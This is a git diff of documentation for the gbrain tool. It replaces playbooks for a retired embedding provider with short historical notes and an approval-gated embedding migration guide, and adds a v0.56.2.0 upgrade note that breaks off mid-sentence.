--- a/skills/RESOLVER.md
+++ b/skills/RESOLVER.md
@@ -120,7 +120,7 @@ off until the user opts in, and paid enrichment is a separate choice.
| "connect grok bot to my brain", "connect muse to my brain", "connect claude desktop to my brain", "reach my brain from my phone" | `skills/remote-mcp/SKILL.md` (host-side publishing, then `skills/mcp-access/SKILL.md` / hosted access selects native OAuth or a private machine handoff) |
| "Migrate from Obsidian/Notion/Logseq" | `skills/migrate/SKILL.md` |
| "connect our company brain", "connect our existing company brain", "import an existing company brain" | `skills/migrate/SKILL.md` (company repository workflow; preview and approval before import, not sanitization) |
-| "Switch embedding provider" / "migrate my embeddings" / "switch reranker" / "ZeroEntropy" / "provider_sunset" / "search stopped working after a provider shutdown" | `skills/migrations/v0.46.3.0.md` |
+| "Switch embedding provider" / "migrate my embeddings" / "switch reranker" / "unsupported embedding provider" / "search stopped working after a provider shutdown" | `skills/migrations/v0.46.3.0.md` |
| Brain health check, maintenance run | `skills/maintain/SKILL.md` |
| "Extract links", "build link graph", "populate timeline" | `skills/maintain/SKILL.md` (extraction sections) |
| "Run dream", "process today's session", "synthesize my conversations", "consolidate yesterday's conversations", "what patterns did you see", "did the dream cycle run", "retriage the backlog", "re-score the triage" | `skills/maintain/SKILL.md` (dream cycle section) |
diff --git a/skills/migrations/v0.35.0.0.md b/skills/migrations/v0.35.0.0.md
index 1297412f40..4b2d9e3bd4 100644
--- a/skills/migrations/v0.35.0.0.md
+++ b/skills/migrations/v0.35.0.0.md
@@ -1,70 +1,30 @@
---
-feature_pitch: "HISTORICAL: ZeroEntropy zembed-1 embeddings + zerank-2 reranking (provider retired 2026-09-04)"
-required_action: no # purely opt-in
+feature_pitch: "HISTORICAL: hosted embedding + reranking integration (provider retired 2026-09-04)"
+required_action: no
---
# v0.35.0.0 migration notes
-> **HISTORICAL — DO NOT FOLLOW. Do not execute any command in this file.**
-> ZeroEntropy's hosted API shuts down **2026-09-04**; the opt-in config
-> edits and commands below would strand a brain on a dead provider. To
-> LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
-
-ZeroEntropy support landed (historical record). **No required user action.**
-Reranker was on by default for `tokenmax` mode only; the embedding model was
-unchanged for everyone unless the user explicitly opted in via config file
-or env var.
-
-## What changed automatically
-
-- `KNOBS_HASH_VERSION` bumped 1 → 2 to fold reranker config into the
- `query_cache.knobs_hash` column. Expect a temporary cache hit-rate dip
- for ~1 hour (the default `cache.ttl_seconds`) as v=1 rows TTL out and
- v=2 rows backfill. Search still works during the dip; only cache hits
- are affected.
-- `tokenmax` mode now defaults `search.reranker.enabled = true`. If the
- user has `ZEROENTROPY_API_KEY` set AND uses tokenmax, reranker fires.
- Without the API key, the rerank attempt fails-open (audit-logged) and
- search returns the RRF order — same UX as before, just with an
- observable failure in `gbrain doctor`.
-- `conservative` and `balanced` modes default reranker = false. Nothing
- changes for those users without an explicit opt-in.
-
-## What the user could do at the time (historical — do not run any of this)
-
-### The zembed-1 opt-in (era recipe, now a strand-your-brain trap)
-
-The era's opt-in was a config-file edit pointing `embedding_model` at
-`zeroentropyai:zembed-1` (valid Matryoshka dims: 2560, 1280, 640, 320,
-160, 80, 40), followed by a key export and a staged re-embed
-(`gbrain models doctor`, a small `--stale` smoke, then the full pass).
-Running that today points a brain at an API that dies 2026-09-04 — the
-maintained path is the off-ramp in `skills/migrations/v0.46.3.0.md`.
-
-### The zerank-2 opt-in on conservative/balanced (era recipe)
-
-The era's opt-in was `search.reranker.enabled true` with a ZE key set,
-verified via `gbrain models doctor`. Enabling reranking TODAY should set
-the surviving model first: `gbrain config set search.reranker.model
-voyage:rerank-2.5`, then enable.
-
-### Opt out of reranker on tokenmax
-
-If you're on `tokenmax` mode and don't want reranker spend:
-
-```bash
-gbrain config set search.reranker.enabled false
-```
-
-The override sticks above the mode bundle default.
-
-## Diagnostics
-
-- `gbrain models doctor --json` — probes `embedding_config`, `reranker_config`,
- and reranker reachability. Surfaces config issues with paste-ready fix hints.
-- `gbrain doctor` — runs `reranker_health` against the JSONL audit at
- `~/.gbrain/audit/rerank-failures-YYYY-Www.jsonl`. Auth failures warn
- immediately; transient failures warn at >=5 in 7 days.
-- `tail -100 ~/.gbrain/audit/rerank-failures-*.jsonl` — raw failure log
- for direct inspection (privacy: query text is SHA-256 hashed; never
- raw).
+This is a historical record, not an installation playbook. The hosted provider
+introduced in this release retired on **2026-09-04** and is no longer supported.
+Its opt-in commands have been removed. Original identifiers and attribution are
+preserved at Git revision `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29`
+(retained on 2026-09-23).
+
+## What changed in that release
+
+- The embedding model stayed unchanged unless the user explicitly opted in.
+- `KNOBS_HASH_VERSION` moved from 1 to 2 so result-cache keys included the
+ reranker settings. The historical one-hour cache turnover was not a re-embed.
+- `tokenmax` enabled cross-encoder reranking by default; `conservative` and
+ `balanced` did not. Missing credentials or provider errors returned the
+ original fusion order and wrote a failure audit rather than breaking search.
+- Reranker diagnostics warned immediately for auth failures and at five
+ transient failures in seven days. Audit query text was hashed, never raw.
+
+## Current action
+
+Do not replay the old provider opt-in. For a model change, follow the
+[explicit-consent migration playbook](v0.46.3.0.md). An upgrade does not
+authorize schema changes or paid re-embedding. Current supported providers
+are listed in the [provider guide](../../docs/integrations/embedding-providers.md).
diff --git a/skills/migrations/v0.36.2.0.md b/skills/migrations/v0.36.2.0.md
index c4cfc347c4..675c486f2b 100644
--- a/skills/migrations/v0.36.2.0.md
+++ b/skills/migrations/v0.36.2.0.md
@@ -1,85 +1,31 @@
---
name: v0.36.2.0
version: 0.36.2.0
-headline: "HISTORICAL: ZeroEntropy was briefly the default for embedding + reranker"
+headline: "HISTORICAL: a retired hosted provider became the embedding + reranker default"
---
-# v0.36.2.0 Migration: ZeroEntropy as default
-
-> **HISTORICAL — DO NOT FOLLOW. Do not execute any command in this file.**
-> ZeroEntropy's hosted API shuts down **2026-09-04**; every ze-switch
-> command below exits 1 with `reason: provider_sunset` today (the command
-> is a pure refusal/redirect shim), and the benchmark pitch below is
-> obsolete. To LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
-
-**TL;DR (historical record):** v0.36.2.0 made ZeroEntropy (`zembed-1` at 1280d via Matryoshka, `zerank-2` cross-encoder reranker) the default retrieval stack, on the strength of a real-corpus benchmark that has since been overtaken by events — the provider announced its shutdown. New installs landed on it automatically. Existing brains saw a one-shot upgrade prompt with a cost estimate; default-on-Enter was "stay on current provider".
-
-This migration was **opt-in for existing brains**. Running `gbrain upgrade` did not silently re-embed data. The prompt was TTY-only; non-TTY upgrades (CI, cron, docker) printed an informational stderr line and skipped the switch.
-
-## What the agent did post-upgrade (v0.36.2 era — every command here exits 1 today)
-
-When a user invoked any gbrain command immediately after `gbrain upgrade` to v0.36.2.0, the playbook was:
-
-1. The agent checked planner state via `ze-switch --dry-run --json` (`ze_switch_offered`, `ze_switch_prompt_shown`, the comparison numbers).
-
-2. It surfaced the era's benchmark numbers (head-to-head query wins, latency, price, reranker reshuffle rate, provider overlap).
-
-3. It recommended switching unless the user had a constraint making ZE unsuitable, pointing at the interactive prompt and the dry-run plan.
-
-4. For a prior decline, `--force` re-opened the prompt (90-day re-ask window).
-
-5. For regret after switching, `--undo` restored the prior model + dim + reranker state behind a cost-warning prompt.
-
-None of that flow exists anymore: the recommendation aged into a liability when the shutdown was announced, and today the entire surface refuses.
-
-## The CLI surface in full (historical — every row exits 1 with `provider_sunset` today)
-
-| Command | Effect (v0.36.2 era) |
-|---|---|
-| `gbrain ze-switch` | Interactive prompt (TTY only). Default-on-Enter = stay. |
-| `gbrain ze-switch --dry-run` | Print plan as text. Change nothing. |
-| `gbrain ze-switch --dry-run --json` | Machine-readable envelope: `{status, plan}`. |
-| `gbrain ze-switch --non-interactive` | Switch without prompting. Errors if `ZEROENTROPY_API_KEY` missing. |
-| `gbrain ze-switch --non-interactive --ignore-missing-key` | Same, but stage the schema change before the key is ready. Embeddings fail loud until key arrives. |
-| `gbrain ze-switch --resume` | Complete a half-applied switch (crash recovery). |
-| `gbrain ze-switch --force` | Bypass the prompt-shown gate (re-show after `n`). |
-| `gbrain ze-switch --undo` | Reverse with cost-warning prompt. (Today: prints the return-path `gbrain migrate embeddings` command instead of acting.) |
-| `gbrain ze-switch --undo --non-interactive --confirm-reembed` | Scripted undo. (Today: prints guidance, exit 1.) |
-
-## Consolidation with the v0.32.7 chunker prompt
-
-If a brain has BOTH a stale chunker version AND the ZE-switch offered, the `RetrievalUpgradePlanner` consolidates into ONE prompt + ONE re-embed pass. The user is not double-charged. This was a real bug class the original cutover plan had; codex outside-voice review caught it before implementation.
-
-## Doctor checks added in v0.36.2.0
-
-`gbrain doctor` now runs two new ZE-aware checks:
-
-- **`ze_embedding_health`** — warns if `embedding_model` starts with `zeroentropyai:` but no key is configured. (At the time the fix hint pointed at the setup URL; today it points at the migration off-ramp.)
-- **`embedding_width_consistency`** — asserts the configured `embedding_dimensions` matches the actual `vector(N)` width on `content_chunks.embedding`. Warns on drift. (At the time the fix hint suggested `--resume`; today the check prints an engine-branched recovery recipe — there is no resume.)
-
-## What changed under the hood
-
-- Default embedding model: `openai:text-embedding-3-large` (1536d) → `zeroentropyai:zembed-1` (1280d via Matryoshka).
-- Default reranker: off in `balanced` mode bundle → on. (Still off in `conservative`, still on in `tokenmax`.)
-- Reranker model: already `zeroentropyai:zerank-2` since v0.35.0.0; that doesn't change.
-- Schema transition (when user accepts the switch): DROP indexes → ALTER `content_chunks.embedding` to `vector(1280)` → CREATE INDEX. Atomic inside one `engine.transaction()`. HNSW indexes recreated in the same transaction; no silent slow-search window.
-- Three new config keys: `ze_switch_prompt_shown`, `ze_switch_requested`, `ze_switch_applied`. Plus `ze_switch_previous_snapshot` (JSON, captures prior config for `--undo`) and `ze_switch_declined_at` (ISO timestamp for the 90-day re-ask gate).
-
-## What NOT to do (historical guardrails for the era's flow)
-
-- The `--ignore-missing-key` staging spelling required explaining that every embed call would fail until the key arrived.
-- The sale price was promotional; the regular price was the cost anchor.
-- The user owned the switch decision; the prompt's default-on-Enter was "stay" for exactly this reason.
-
-## Why 1280d, not 1024d
-
-The valid ZE Matryoshka dim steps are `2560, 1280, 640, 320, 160, 80, 40`. 1024 (Voyage's step) is NOT on ZE's list — see `src/core/ai/dims.ts:ZEROENTROPY_VALID_DIMS`. 1280 is the step closest to the prior OpenAI 1536d default and stays in the high-recall zone of the Matryoshka curve.
-
-## Verifying the switch (historical — the ze-switch line exits 1 today)
-
-```text
-gbrain doctor # both new checks should be green
-gbrain ze-switch --dry-run # (era) status skipped_already_applied; (today) refuses
-gbrain models # confirm embedding + reranker defaults
-gbrain search "test query" --limit 5 # confirm the reranker is firing
-```
+# v0.36.2.0 migration history
+
+This release made a now-retired hosted provider the default retrieval stack:
+1280-dimensional text embeddings and a cross-encoder reranker. The provider
+retired on **2026-09-04** and its switch command has been removed. This is
+historical context, not an executable playbook. Original identifiers and
+attribution are preserved at Git revision
+`6040075c6cb95be5881cc2e1b76ef7d71f4e5d29` (retained on 2026-09-23).
+
+Existing brains had an opt-in, TTY-only prompt. Enter meant stay on the current
+provider; non-TTY upgrades only printed information. An accepted switch could
+combine a pending chunker upgrade with one re-embed pass to avoid charging twice.
+Codex outside-voice review caught that double-charge case before implementation.
+The text-vector schema transition and HNSW rebuild were atomic. The prior
+embedding model was OpenAI at 1536 dimensions; the retired model's 1280 width
+was one of its supported Matryoshka reductions, not a Voyage width.
+
+The release also enabled reranking in `balanced` mode, retained the existing
+`conservative`/`tokenmax` choices, and added a check comparing configured
+dimensions with the actual `content_chunks.embedding` column.
+
+Do not replay the retired switching, undo or self-hosting instructions. Use
+the [explicit-consent migration playbook](v0.46.3.0.md) to inspect a brain,
+choose a supported target and approve the work. Upgrading does not convert
+stored vectors or authorize a paid backfill.
diff --git a/skills/migrations/v0.36.5.0.md b/skills/migrations/v0.36.5.0.md
index faf1a6cb04..6c622a1ad6 100644
--- a/skills/migrations/v0.36.5.0.md
+++ b/skills/migrations/v0.36.5.0.md
@@ -19,7 +19,7 @@ feature_pitch: >
payload ever lands in `minion_jobs.data`.
- **`inherit: [...]` ShellJobParams field — free-form.** Pass any snake_case
config-key name (`database_url`, `anthropic_api_key`, `voyage_api_key`,
- `groq_api_key`, `zeroentropy_api_key`, `my_custom_field`, etc.). The
+ `groq_api_key`, `my_custom_field`, etc.). The
validator does NOT police which keys you choose — same-uid trust model
treats the agent as a peer.
- **Env-key derivation**: name uppercased by default. One override:
diff --git a/skills/migrations/v0.46.3.0.md b/skills/migrations/v0.46.3.0.md
index 74c668275c..cbd8940e0e 100644
--- a/skills/migrations/v0.46.3.0.md
+++ b/skills/migrations/v0.46.3.0.md
@@ -1,256 +1,134 @@
---
version: 0.46.3
feature_pitch:
- headline: "ZeroEntropy shuts down 2026-09-04 — switch embedding + reranker before then. New default: Voyage."
- one_liner: "One command migrates the brain (embeddings AND reranker): gbrain migrate embeddings --to voyage:voyage-4 --dim 1024"
- user_action_required: true
+ headline: "Switch embedding providers only after a preview and explicit approval."
+ one_liner: "Inspect the brain, choose a supported target, preview the cost, then approve a resumable migration."
+ user_action_required: false
triggers:
- "switch embedding provider"
- "migrate my embeddings"
- "switch reranker"
- - "ZeroEntropy"
- - "provider_sunset"
+ - "unsupported embedding provider"
- "search stopped working after a provider shutdown"
---
-# v0.46.3 migration — ZeroEntropy shutdown (ACTION REQUIRED before 2026-09-04)
+# Explicit-consent embedding migration
-ZeroEntropy's hosted API — the former default for BOTH embedding (`zembed-1`)
-and reranking (`zerank-2`) — stops working on **2026-09-04**. A brain still
-resolving to `zeroentropyai:*` loses semantic retrieval ENTIRELY on that date
-(existing vectors become unqueryable, not just new content).
+`gbrain migrate embeddings` moves the primary text embedding space to a
+supported model on both PGLite and Postgres. It coordinates schema, config,
+invalidation and a resumable re-embed. Changing a provider identifier or
+dimension in config alone does not convert stored vectors.
-**Nothing was changed automatically.** v0.46.3 only detects exposure and files
-this action item. The brain keeps working until the date. The switch itself
-costs money (a one-time re-embed) and needs a target API key, so it is the
-user's/agent's explicit call.
+The original v0.46.3 notice concerned a hosted provider that retired on
+2026-09-04. That integration, its switch command and its provider-ID
+self-hosting workaround have been removed. This file retains the generic
+migration workflow, not the obsolete provider-specific playbook. Original
+instructions are preserved at Git revision
+`6040075c6cb95be5881cc2e1b76ef7d71f4e5d29` (retained on 2026-09-23).
-## Agent action — when to run this migration
+**No upgrade, warning or old pending action item authorizes this work.**
+Migration can delete incompatible vectors and incur a full re-embedding bill.
+Keep a verified full backup and obtain explicit approval for the selected
+brain, target model, dimensions, reranker action and cost before proceeding.
-Run the steps below when the user says anything like:
+## 1. Inspect the intended brain without spending
-- "ZeroEntropy" / "zembed" / "zerank" anything
-- "migrate my embeddings" / "switch embedding provider" / "switch reranker"
-- "search stopped working" / "embedding provider error" (after 2026-09-04)
-- "doctor says provider_sunset" / "gbrain is warning about a provider"
-- after any `gbrain upgrade` that printed the ACTION REQUIRED sunset block
-
-Also proactively surface it when `~/.gbrain/migrations/pending-host-work.jsonl`
-contains a `"migration": "0.46.3"` entry.
-
-## Step 0 — env preflight (do this FIRST, it prevents the worst failure mode)
+Resolve the brain first using [brain routing](../conventions/brain-routing.md).
+This operation affects all sources in that brain, not just the current source.
+Only the brain's owner should perform it; a mounted consumer asks the owner.
```bash
-env | grep GBRAIN_EMBEDDING
+gbrain migrate embeddings --status
```
-`GBRAIN_EMBEDDING_MODEL` / `GBRAIN_EMBEDDING_DIMENSIONS` **override the file
-plane at runtime** for every gbrain process. Three cases:
+Inspect the actual column widths, NULL-vector counts, page-signature census,
+config planes and any in-flight marker. Do not infer completion from the
+environment or a configured model name. No stored provenance should be
+rewritten to make an old vector appear to belong to a new model.
-- **Nothing printed** — proceed to Step 0.5.
-- **Set and equal to the target** (e.g. `voyage:voyage-4` / `1024`): the
- migration proceeds with a notice and also writes the file plane. Keep the
- env in sync everywhere gbrain runs (cron, workers, other shells) — or
- `unset` it so the file plane is the single source of truth. Env-canonical
- deployments (containers with no `~/.gbrain/config.json`) are supported: the
- env IS the config there.
-- **Set and different from the target**: the live run REFUSES (this is the
- guard against config-says-new/runtime-embeds-old damage). Fix before
- running:
+`GBRAIN_EMBEDDING_MODEL` and `GBRAIN_EMBEDDING_DIMENSIONS` override file config
+for every process. Conflicting values make a live migration refuse. Review
+the env in workers, cron and shells; coordinate any changes with the owner.
+Do not use `--ignore-env-override` to bypass an unexplained mismatch.
- ```bash
- unset GBRAIN_EMBEDDING_MODEL GBRAIN_EMBEDDING_DIMENSIONS
- ```
+## 2. Choose a supported target and preview
-The command never trusts these vars for its "nothing to migrate" decision —
-it verifies the database directly — so a pre-set env var can no longer fake a
-completed migration. But an env var pointing elsewhere WILL poison future
-embeds in other processes, which is why the mismatch refuses.
+Voyage's new-install default is `voyage:voyage-4` at 1024 dimensions. One
+`VOYAGE_API_KEY` covers its embeddings and `voyage:rerank-2.5` reranker.
+OpenAI is another supported option; `text-embedding-3-small` can retain an
+existing width up to 1536. Retaining the width avoids a schema resize, not
+the re-embed required for a different vector space. Local providers require
+an explicitly selected model and its real output width.
-## Step 0.5 — quiesce embed writers
+Configure the chosen key securely in the environment or the provider's
+file-plane API-key setting. Never print or copy the key into an action report.
```bash
-gbrain jobs list --status running 2>/dev/null; gbrain jobs list --status waiting 2>/dev/null
+gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run
```
-Stop the minion worker (or let embed/embed-catch-up/embed-backfill jobs
-drain) before migrating. The migration takes the brain-wide migration lock +
-every per-source embed lock, but generic embed jobs submitted DURING the run
-don't take those locks — anything they write in the old space is caught by
-the final census and re-embedded (costing you twice). The plan output warns
-when live workers/jobs are detected.
+Show the plan to the user: affected brain and sources, old and new widths,
+chunk count, estimated spend (or unavailable estimate), reranker action,
+pending fact vectors and any content-tier downgrade. **1280 is not a valid
+Voyage width**; supported widths are 256/512/1024/2048. A width change rebuilds
+the dim-pinned text columns and indexes; image/multimodal columns stay separate.
-## Step 1 — confirm exposure
-
-```bash
-gbrain doctor --json | jq '.checks[] | select(.name=="provider_sunset")'
-```
+## 3. Obtain approval, quiesce writers, then run
-`warn`/`fail` mentioning zeroentropyai = exposed. `ok` = likely done — verify
-with `gbrain migrate embeddings --status` (Step 5) before clearing the
-pending-host-work entry; doctor alone can be fooled by env overrides, the
-status command cannot.
+Confirm the backup and coordinate stopping or draining embedding writers
+before the migration. Do not stop services without the owner's approval.
+The plan warns about concurrent jobs; migration locks are not permission to
+ignore another writer.
-## Step 2 — pick the target by which key exists
-
-**Preferred — Voyage** (`VOYAGE_API_KEY` in env, or `voyage_api_key` in
-`~/.gbrain/config.json`). One key covers embedding + reranking + the
-multimodal model. To set the key: `export VOYAGE_API_KEY=...` or edit
-`~/.gbrain/config.json` directly — do NOT use `gbrain config set
-voyage_api_key` (that writes the DB plane, which the embedding pipeline never
-reads).
+Only after approval, replace `--dry-run` with `--yes`:
```bash
-gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run # cost preview — show the user
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --yes
```
-Note: **1280 is not a valid Voyage width** (valid: 256/512/1024/2048), so this
-includes a one-time schema/HNSW index rebuild to 1024. The command handles it;
-it is resumable if killed.
-
-**Alternative — OpenAI** (`OPENAI_API_KEY`). No reranker coverage, but OpenAI
-text-embedding-3 supports flexible widths, so a 1280d brain can keep its
-column (no schema rebuild):
-
-```bash
-gbrain migrate embeddings --to openai:text-embedding-3-small --dim 1280 --dry-run
-gbrain migrate embeddings --to openai:text-embedding-3-small --dim 1280 --yes
-# (or --dim 1536 for the model's native width — costs a schema rebuild)
-```
-
-**Neither key** — get one of the two (Voyage: https://dash.voyageai.com/api-keys),
-or self-host (below).
-
-## Step 3 — reranker (handled IN the same command)
-
-The migration handles the reranker automatically (`--reranker auto` is the
-default): when the brain's ACTIVE reranker — an explicit
-`search.reranker.model zeroentropyai:*` row (the pre-v0.48.2 mode-bundle
-default; since v0.48.2 the bundle default is `voyage:rerank-2.5`, so a brain
-with no reranker row is already off ZE) — is exposed, and the target provider ships a reranker, the
-run probes it live and switches `search.reranker.model` in the same consented
-pass. Overrides:
-
-```bash
---reranker off # disable reranking instead
---reranker keep # leave reranker config untouched
---reranker voyage:rerank-2.5 # explicit model (validated before anything runs)
-```
-
-Migrating to a provider with no reranker (OpenAI)? The run prints an ACTION
-line with the exact commands instead of silently enabling a third provider:
-
-```bash
-gbrain config set search.reranker.model voyage:rerank-2.5 # needs VOYAGE_API_KEY
-gbrain config set search.reranker.enabled false # or turn it off
-```
-
-**Why the plane asymmetry:** embedding config lives on the FILE/ENV planes
-(it sizes the schema, so it must be stable across engine connects — never
-`gbrain config set embedding_model`), while reranker config lives on the DB
-plane (`gbrain config set search.reranker.*` is correct there). The migration
-writes each to its right plane; you only need to know this when doing it by
-hand.
+Without `--yes`, an interactive caller must confirm; a non-TTY caller exits
+2. A spending posture does not waive the migration's destructive-change
+consent gate. The live run probes the target before mutation. A failed probe
+does not authorize a fallback provider or a different model.
-Without a working reranker, reranking fails open after the shutdown date —
-search still works, ordering quality drops. Past the shutdown date gbrain
-skips the rerank call entirely (one-time stderr notice + a
-`sunset_short_circuit` audit row), so searches pay no timeout.
+`--reranker auto` is the default companion action. Review it in the plan, or
+explicitly choose `--reranker off`, `--reranker keep`, or a supported model
+such as `--reranker voyage:rerank-2.5`. A failed reranker probe keeps its prior
+config and reports `switch_failed`; it is not successful reranker migration.
+OpenAI has no reranker on its key, so do not silently enable a third provider.
-## Step 4 — custom embedding columns (rare)
-
-If the notice listed ZE-backed `embedding_columns` entries: there is **no
-automated off-ramp** for custom columns yet (`migrate embeddings` covers the
-primary column only). Re-declare the column config on the new provider and
-re-embed its content, or drop the column config. A write-side custom-column
-migration is a filed follow-up (TODOS.md).
-
-## Step 5 — verify (trust the database, not the env)
+## 4. Verify actual state
```bash
gbrain migrate embeddings --status
```
-Read the output top to bottom — it shows every config plane (env presence,
-file, DB), the actual column widths, how many chunks/facts still lack
-vectors, the page-signature census, and the smoke-check outcome from the
-completed migration. Converged looks like: column at the target width, 0
-chunks missing, signature census all on the target, no migration in flight.
-
-Then:
-
-```bash
-gbrain doctor --json | jq '.checks[] | select(.name=="provider_sunset") | .status' # → "ok"
-gbrain search "anything you know is in the brain" # sanity check
-```
-
-Facts note: fact vectors regenerate on their next write / `gbrain extract`
-pass — `--status` shows the pending count; it is not a failure.
-
-Then remove/mark the `0.46.3` entry in
-`~/.gbrain/migrations/pending-host-work.jsonl` as done — edit the file and
-change that entry's `"status"` to `"done"` (or delete the line). There is no
-CLI for this yet (filed follow-up).
-
-## Recovery — when a run is killed, fails, or something looks wrong
-
-**Exit codes:** `0` = completed (or verified nothing-to-do), `1` = incomplete /
-refused / failed (message says which), `2` = non-TTY without `--yes`.
-
-- **Killed / crashed mid-run** → re-run the SAME command. The NULL-embedding
- column is the checkpoint; already-migrated chunks are never re-embedded or
- re-billed. `gbrain migrate embeddings --status` shows the in-flight marker
- and prints the exact resume command.
-- **"Migration paused ... lock"** → another embed backfill holds a per-source
- lock. Check `gbrain jobs list`; a hard-killed run's lock expires within 60
- minutes — re-run then.
-- **"lock was lost mid-drain"** → another process stole the lock (mutual
- exclusion ended); partial progress is banked. Re-run once the other holder
- finishes.
-- **Refused: a migration to X is still in flight** → resume THAT target with
- the printed command, or abandon it deliberately with `--retarget`.
-- **Wrong `--dim` on the first pass** → re-run with the right `--dim`; the
- column rebuilds at the new width and the re-embed runs again (vectors at
- the wrong width are unusable — this re-bill is unavoidable).
-- **Deferred the re-embed with `--no-embed`** → finish with:
- `gbrain embed --stale --catch-up --include-null-signature`
- (`--background` carries all of these flags into the job).
-- **Only want status, never mutation** → `gbrain migrate embeddings --status`
- is read-only and spend-free.
-
-## Self-hosting (zero re-embed, advanced)
-
-zembed-1's weights are Apache-2.0. Keeping vectors WITHOUT re-embedding
-requires keeping the `zeroentropyai:zembed-1` model id (the embedding
-signature must not change) and pointing its base URL at your own endpoint:
-
-```bash
-gbrain config set provider_base_urls.zeroentropyai http://your-host:PORT/v1
-```
-
-Two honest caveats:
-
-1. The endpoint must speak **ZeroEntropy's wire dialect** (`/models/embed`,
- `{results: [...]}` responses) — a generic OpenAI-compatible llama-server or
- Ollama endpoint will NOT work; you need a ZE-wire-compatible proxy in front.
-2. This works only until the September removal release deletes the
- `zeroentropyai` recipe. A self-host continuity decision (possibly a compat
- mode) is tracked in TODOS.md — if you rely on this path, follow that item.
-
-Switching the provider id instead (e.g. `llama-server:zembed-1`) changes
-`pages.embedding_signature`, and the next stale-embed pass re-embeds
-everything — that path is a full re-embed, not a zero-cost move.
-
-Note: `gbrain migrate embeddings` refuses `--to zeroentropyai:*` by default
-(it protects everyone else from re-embedding onto the dying hosted API). With
-your base-URL override in place, pass `--force-sunset-target` to proceed.
-
-## When NOT to run this migration
-
-- The brain is keyless (`embedding_disabled: true`) with no ZE reranker or
- custom columns — nothing to migrate.
-- `gbrain migrate embeddings --status` shows convergence on a non-ZE target
- AND `provider_sunset` reports `ok` — done; just clear the pending entry.
-- You only mounted someone else's brain: the migration is host-scoped; the
- brain's owner migrates it (their upgrade banner + doctor nag them).
+Check target widths, remaining chunk vectors, signature census, in-flight
+state and the recorded smoke-check result. A converged config value alone is
+not proof. Semantic retrieval is degraded for content not yet re-embedded.
+After approval for any provider calls, search for a known page as a separate
+behavioral check; distinguish that check from the spend-free status output.
+
+Fact-vector repair is separate and consented. Inspect the pending census;
+follow [fact-vector repair](../../docs/embedding-migrations.md) rather than
+claiming every fact was backfilled by the primary migration.
+
+## Recovery and boundaries
+
+- Re-run the same approved target after a kill or partial failure. Status
+ prints the exact resume command; chunks already in that space are retained.
+- A different in-flight target refuses. Use `--retarget` only after explicit
+ approval to abandon that target and review the new cost.
+- A lost or held lock means paused, not complete. Inspect the reported lock
+ and jobs before retrying; do not clear another writer's lock.
+- `--no-embed` stages schema/config/invalidation but does not complete a
+ migration. Finish the approved re-embed with
+ `gbrain embed --stale --catch-up --include-null-signature`.
+- Custom `embedding_columns` have no automatic migration here. Changing
+ their model labels does not convert their vectors. Plan a separate,
+ explicitly approved replacement or removal with the owner.
+- A keyless brain with embeddings disabled does not need paid migration
+ merely because it was upgraded. Preserve that opt-out.
+
+See the [full migration reference](../../docs/guides/embedding-migration.md)
+for the transaction, resume and config-plane contracts.
diff --git a/skills/migrations/v0.56.2.0.md b/skills/migrations/v0.56.2.0.md
new file mode 100644
index 0000000000..47f8c50788
--- /dev/null
+++ b/skills/migrations/v0.56.2.0.md
@@ -0,0 +1,102 @@
+# Upgrade to v0.56.2.0: preserve memory and review blocked work
+
+Preserve the agent's identity, capture preferences, provider choices and source
+grants. This patch adds no schema migration and authorizes no live repair,
+ownership change, paid backfill or service installation.
+
+## Upgrade without mixing consumers
+
+1. On a managed deployment, gracefully stop and drain the owner and older
+ workers on every host. Retain the original installation and a verified full
+ database backup. Git alone is not a full database backup.
+2. Use the installation's supported upgrade path, retaining independent
+ opt-outs where applicable:
+
+ ```bash
+ GBRAIN_NO_AUTOPILOT_INSTALL=1 GBRAIN_NO_REEMBED=1 gbrain upgrade --no-autopilot-install
+ ```
+
+ If an existing migration phase failed, inspect that failure before using
+ `gbrain apply-migrations --yes --no-autopilot-install`. Do not delete its
+ ledger, force a retry blindly, enable capture or add credentials.
+3. Restart compatible owners/workers and verify the installed version, scoped
+ page readback and writer state:
+
+ ```bash
+ gbrain --version
+ gbrain sources writer status --json
+ gbrain backup check --json
+ ```
+
+ A source claim is not activation. Existing leases and the native worktree
+ lock do not exclude every already-running legacy writer. Never disable
+ protections or activate persistence just to bypass a refused sync.
+
+## Review embedding identity before changing models
+
+The retired provider integration is no longer available. Do not assign a new
+model label to existing vectors or rerun `init` to convert them: re-init checks
+chunks, facts, query cache and takes, including companion-only stores. Without
+an explicit model, retain keyword/read-only access and inspect
+`gbrain migrate embeddings --status --json`. Keep a verified full backup,
+preview an explicit supported target with `--dry-run`, and obtain approval
+before migrating. Equal vector widths do not imply compatible models; an
+approved model change invalidates incompatible companion vectors without
+deleting the underlying memory text. Follow the
+[embedding migration guide](../../docs/guides/embedding-migration.md).
+
+## Review retained sync and Git work
+
+Resume a pending sync with its original source, full/working-tree/filter
+options, and processing choices. `--no-embed`, `--no-extract` and
+`--no-schema-pack` remain attached to new accepted work. A changed choice does
+not silently reinterpret an unfinished request. Required provider-free
+canonical projections still run; already committed historical effects are
+not retroactively cancelled.
+
+Cancellation stops new admission; it does not revoke requests already accepted
+durably. A pending receipt keeps its original ID, and committed work is banked
+before reporting partial progress. Resume with the same options rather than
+submitting replacement requests.
+
+Old imports or checkpoints without durable processing choices, and old
+deletions without a provable physical origin, refuse under their original
+request IDs. Inspect the failure and current files first. Only after explicit
+approval, an idle filesystem source can rediscover with its original selection
+options and the operator's chosen processing flags, for example:
+
+```bash
+gbrain sync --source source-example --no-pull --no-embed --no-extract --no-schema-pack --retry-failed
+```
+
+Replace the example source and retain any original selection flags. Company
+sources must retain their approved manifest and required schema; do not use
+`--no-schema-pack` to bypass that approval. Queued or running work must settle
+before replacement. Never edit frozen requests, terminal receipts or source
+bookmarks to manufacture success.
+
+Old Git effects resolve their target at execution without rewriting retained
+data. Ambiguous targets and changed file bytes still refuse. A local commit is
+not a successful remote push; inspect the effect's recorded state before
+approving its retry. Do not force-push, include unrelated staging or rename a
+source tree automatically.
+
+## Verify a backup without replacing the original
+
+Follow [the full backup and fresh-root restore guide](../../docs/guides/in-agent-setup.md#6-back-up-the-complete-local-database).
+Archive entries with unsafe or conflicting names are rejected, not renamed.
+Windows backup work requires permitted built-in Windows PowerShell and a local
